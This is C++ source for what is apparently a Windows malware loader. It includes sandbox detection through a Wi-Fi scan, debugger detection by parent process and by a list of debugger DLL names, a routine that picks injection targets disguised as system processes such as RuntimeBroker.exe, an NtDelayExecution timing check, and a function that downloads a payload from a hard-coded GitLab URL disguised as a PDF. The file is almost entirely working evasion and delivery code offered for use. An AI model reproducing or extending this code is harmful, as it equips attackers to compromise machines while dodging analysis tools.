#include "Loader.h"
#include "connector.h"
#include "ntddk.h"
#include <wlanapi.h>
#include <wininet.h>
#include <TlHelp32.h>
#pragma comment(lib, "wlanapi.lib")
#pragma comment(lib, "Urlmon.lib")
#pragma comment (lib, "Wininet.lib")
using namespace std;

//----------------------------------------------------------------------------------------------------------
//function used in injection:

LPVOID GetSuitableBaseAddress(HANDLE hProc, DWORD szPage, DWORD szAllocGran, DWORD cVmResv)
{
	MEMORY_BASIC_INFORMATION mbi;

	for (auto base : VC_PREF_BASES) {
		VirtualQueryEx(
			hProc,
			base,
			&mbi,
			sizeof(MEMORY_BASIC_INFORMATION)
		);

		if (MEM_FREE == mbi.State) {
			uint64_t i;
			for (i = 0; i < cVmResv; ++i) {
				LPVOID currentBase = (void*)((DWORD_PTR)base + (i * szAllocGran));
				VirtualQueryEx(
					hProc,
					currentBase,
					&mbi,
					sizeof(MEMORY_BASIC_INFORMATION)
				);
				if (MEM_FREE != mbi.State)
					break;
			}
			if (i == cVmResv) {
				
				return base;
			}
		}
	}
	return nullptr;
}

//----------------------------------------------------------------------------------------------------------

//function used to detect sandboxes:



VOID WlanNotification(WLAN_NOTIFICATION_DATA* wlanNotifData, VOID* p)
{
	if (wlanNotifData->NotificationCode == wlan_notification_acm_scan_complete)
	{
		bool bWait = false;
	}
	else if (wlanNotifData->NotificationCode == wlan_notification_acm_scan_fail)
	{
		bool bWait = false;
	}
}


bool DETECT_WIFI() {

	HANDLE hWlan = NULL;

	DWORD dwError = 0;
	DWORD dwSupportedVersion = 0;
	DWORD dwClientVersion = (TRUE ? 2 : 1);

	GUID guidInterface; ZeroMemory(&guidInterface, sizeof(GUID));

	WLAN_INTERFACE_INFO_LIST* wlanInterfaceList = (WLAN_INTERFACE_INFO_LIST*)WlanAllocateMemory(sizeof(WLAN_INTERFACE_INFO_LIST));
	ZeroMemory(wlanInterfaceList, sizeof(WLAN_INTERFACE_INFO_LIST));

	WLAN_AVAILABLE_NETWORK_LIST* wlanNetworkList = (WLAN_AVAILABLE_NETWORK_LIST*)WlanAllocateMemory(sizeof(WLAN_AVAILABLE_NETWORK_LIST));
	ZeroMemory(wlanNetworkList, sizeof(WLAN_AVAILABLE_NETWORK_LIST));

	int xxx = 0;

	try
	{
		if (dwError = WlanOpenHandle(dwClientVersion, NULL, &dwSupportedVersion, &hWlan) != ERROR_SUCCESS)
			return FALSE;

		if (dwError = WlanEnumInterfaces(hWlan, NULL, &wlanInterfaceList) != ERROR_SUCCESS)
			return FALSE;

		if (dwError = wlanInterfaceList->InterfaceInfo[0].isState != wlan_interface_state_not_ready)
		{
			if (wlanInterfaceList->dwNumberOfItems > 1)
			{
				guidInterface = wlanInterfaceList->InterfaceInfo[0].InterfaceGuid;
			}
			else
			{
				guidInterface = wlanInterfaceList->InterfaceInfo[0].InterfaceGuid;
			}
		}
		else
			return FALSE;

		DWORD dwPrevNotif = 0;
		bool bWait = true;


		if (dwError = WlanRegisterNotification(hWlan, WLAN_NOTIFICATION_SOURCE_ACM, TRUE,
			(WLAN_NOTIFICATION_CALLBACK)WlanNotification, NULL, NULL, &dwPrevNotif) != ERROR_SUCCESS)
			return FALSE;

		if (dwError = WlanScan(hWlan, &guidInterface, NULL, NULL, NULL) != ERROR_SUCCESS)
			return FALSE;


		WlanRegisterNotification(hWlan, WLAN_NOTIFICATION_SOURCE_NONE, TRUE, NULL, NULL, NULL, &dwPrevNotif);

		if (dwError = WlanGetAvailableNetworkList(hWlan, &guidInterface, NULL, NULL, &wlanNetworkList) != ERROR_SUCCESS)
			return FALSE;

		for (unsigned int i = 0; i < wlanNetworkList->dwNumberOfItems; i++)
		{
			xxx++;
		}
	}
	catch (char* szError)
	{
		printf("[!] Sandbox detected\n");
		return FALSE;
	}

	if (wlanNetworkList)
		WlanFreeMemory(wlanNetworkList);
	if (wlanInterfaceList)
		WlanFreeMemory(wlanInterfaceList);
	if (hWlan)
		WlanCloseHandle(hWlan, NULL);

	if (xxx > 0)
		return TRUE;

}


//----------------------------------------------------------------------------------------------------------
//function used to detect debuggers :

DWORD GetParentPID(DWORD pid)
{
	DWORD ppid = 0;
	PROCESSENTRY32W processEntry = { 0 };
	processEntry.dwSize = sizeof(PROCESSENTRY32W);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (Process32FirstW(hSnapshot, &processEntry))
	{
		do
		{
			if (processEntry.th32ProcessID == pid) {
				ppid = processEntry.th32ParentProcessID;
				break;
			}
		} while (Process32NextW(hSnapshot, &processEntry));
	}
	CloseHandle(hSnapshot);
	printf("[+] parent pid : %d \n", ppid);
	return ppid;
}


DWORD GET_TARG_PROC(char* TargetProc) {
	ULONG retLen = 0;
	NtQuerySystemInformation(SystemProcessInformation, 0, 0, &retLen);
	if (retLen == 0) {
		return false;
	}
	const size_t bufLen = retLen;
	void* infoBuf = malloc(bufLen);
	if (!infoBuf) {
		return false;
	}
	memset(infoBuf, 0, bufLen);
	SYSTEM_PROCESS_INFORMATION* sys_info = (SYSTEM_PROCESS_INFORMATION*)infoBuf;
	if (NtQuerySystemInformation(SystemProcessInformation, sys_info, bufLen, &retLen) == STATUS_SUCCESS) {
		while (true) {
			char Process[70];
			int pid = (int)sys_info->UniqueProcessId;
			if (sys_info->ImageName.Buffer) {
				wcstombs(Process, sys_info->ImageName.Buffer, 70);
				if (strcmp(TargetProc, Process) == 0) {
					return pid;
				}
			}
			if (!sys_info->NextEntryOffset) {
				break;
			}
			sys_info = (SYSTEM_PROCESS_INFORMATION*)((ULONG_PTR)sys_info + sys_info->NextEntryOffset);
		}
	}
	free(infoBuf);
	return -1;
}

int find_Explorer() {
	char* processName = (char*) "explorer.exe";
	DWORD processID = GET_TARG_PROC(processName);
	return processID;
}

//this function is used to get the pid of the process to inject to:
//processID == NULL ||
int FIND_TARGET_INJECTION_PID() {
	char* processName = (char*)"RuntimeBroker.exe";					//1st try: RuntimeBroker.exe
	int processID = GET_TARG_PROC(processName);
	if (processID <= 0){
		processName = (char*)"SecurityHealthSystray.exe";					//2nd try: SecurityHealthSystray.exe
		processID = GET_TARG_PROC(processName);
		if (processID <= 0){
			processName = (char*)"SecurityHealthHost.exe";						//3rd try: SecurityHealthHost.exe
			processID = GET_TARG_PROC(processName);
			printf("[+] found the pid of SecurityHealthHost.exe : %d\n", processID);
			return processID;
		}
		else{
			printf("[+] found the pid of SecurityHealthSystray.exe : %d\n", processID);
			return processID;
		}
	}
	else {
		printf("[+] found the pid of RuntimeBroker.exe : %d\n", processID);
		return processID;
	}
}

int detect_parent() {
	DWORD parentPid = GetParentPID(GetCurrentProcessId());
	printf("[+] Explorer.exe pid is %d \n", find_Explorer());
	if (find_Explorer() != parentPid) {
		printf("[!] DANGEROUS ===> Explorer.exe is [NOT] our PPID ...\n");
		return -1;
	}
	else if (find_Explorer() == parentPid) {
		printf("[+] NORMAL ===> Explorer.exe is our PPID... \n");
		return 1;
	}
	else {
		printf("[!] DANGEROUS ===> Something unusual happend ...\n");
		return -1;
	}
}

//----------------------------------------------------------------------------------------------------------
//function used to run the checking of the sandbox function:


bool decide() {
	if (DETECT_WIFI() == TRUE) {
		printf("[+] No Sandbox was detected\n");
		return true;
	}
	else if (DETECT_WIFI() == FALSE) {
		printf("[!] Sandbox was Detected\n");
		return false;
	}
	else {
		printf("[!] Something unusual happend ...\n");
		return false;
	}
}

//----------------------------------------------------------------------------------------------------------

//function used to detect debuggers:
/*
//Not Recommended cz it may lead to a lot of false positives and thus wont execute the loader 
bool Detect_loaded_dlls() {

	DWORD RUNNINGPID[1024];
	DWORD RUNNING_BYTES;
	EnumProcesses(RUNNINGPID, sizeof(RUNNINGPID), &RUNNING_BYTES);
	for (int i = 0; i < RUNNING_BYTES / sizeof(DWORD); i++){
		HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, RUNNINGPID[i]);
		if (!hProcess) { 
			continue;
		}
		HMODULE MODULES[1024];
		DWORD MODULESBytes;
		int s1 = EnumProcessModules(hProcess, MODULES, sizeof(MODULES), &MODULESBytes);

		for (int j = 0; j < MODULESBytes / sizeof(HMODULE); j++){
			WCHAR MODULESName[MAX_PATH + 1];
			GetModuleFileNameExW(hProcess, MODULES[j], MODULESName, MAX_PATH);
			CharUpperW(MODULESName);

//ida dlls: ida64.dll Qt5PrintSupport.dll Qt5Widgets.dll Qt5Core.dll Qt5Gui.dll qwindows.dll win32_user64.dll
//ollydbg (plugins): Swordfish.dll OllyDumpEx_Od20.dll ScyllaHideOlly2Plugin.dll DBGHELP.DLL
//gdb: libgcc_s_dw2-1.dll zlib1.dll
//xdbg (64): x64bridge.dll MSVCP120.dll dbghelp.dll x64gui.dll Qt5Widgets.dll Qt5Gui.dll Qt5WinExtras.dll ldconvert.dll Qt5Network.dll Qt5Core.dll x64dbg.dll lz4.dll DeviceNameResolver.dll jansson.dll XEDParse.dll qwindows.dll TitanEngine.dll
//(plugins) xdbg (64): xAnalyzer.dp64 xshellex.dp64 ScyllaHideX64DBGPlugin.dp64

			if (wcsstr(MODULESName, L"DBGHELP.DLL") ) { // <--------- add ur dll modules here 
				printf("[!] Module: %ls is detected in memeory ... \n", MODULESName);
				return false;
			}
		}
	}

}
*/

//----------------------------------------------------------------------------------------------------------
//function used to download the payload file:

int getWebResource() {
	
	/*
	if (decide() == false) {
		return -1;
	}
	
	if (detect_parent() == -1) {
		return -1;
	}
	
	*/
	//if (Detect_loaded_dlls() == false) {
	//	return - 1;
	//}
	
	HINTERNET hInternetSession;
	HINTERNET hURL;
	BOOL bResult;
	DWORD dwBytesRead = 1;

	hInternetSession = InternetOpen(
		L"fk_u",
		INTERNET_OPEN_TYPE_PRECONFIG,
		NULL,
		NULL,
		0
	
	);
	
	hURL = InternetOpenUrl(
		hInternetSession,
		//url u wanna download ur payload from 
		L"https://gitlab.com/wq23152v/wqqqwqwr/-/raw/main/file.pdf?inline=false",
		NULL,
		0,
		0,
		0
	);

	char buf[1024];

	DWORD dwTemp;		//THE NAME TO SAVE IT 
	HANDLE hFile = CreateFile(L"file.pdf", GENERIC_WRITE, 0, NULL,
		CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (INVALID_HANDLE_VALUE == hFile) {
		return 0;
	}

	for (; dwBytesRead > 0;)
	{
		InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead);
		WriteFile(hFile, buf, dwBytesRead, &dwTemp, NULL);
	}
	InternetCloseHandle(hURL);
	InternetCloseHandle(hInternetSession);
	CloseHandle(hFile);
}



//----------------------------------------------------------------------------------------------------------

//function to delay the execution:

int DelayEXECUTION(int number) {
	printf("[+] DELAYING EXECUTION FOR %d ... \n", number);
	ULONGLONG BeforeSleep = GetTickCount64();
	typedef NTSTATUS(WINAPI* PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution");																																																																																																																																						
	LARGE_INTEGER DELAY;
	DELAY.QuadPart = -10000 * number;
	pNtDelayExecution(FALSE, &DELAY);
	ULONGLONG AfterSleep = GetTickCount64();
	if ((AfterSleep - BeforeSleep) < number) {
		return -1;
	}
	else {
		printf("[+] DONE ! \n");
	}
}

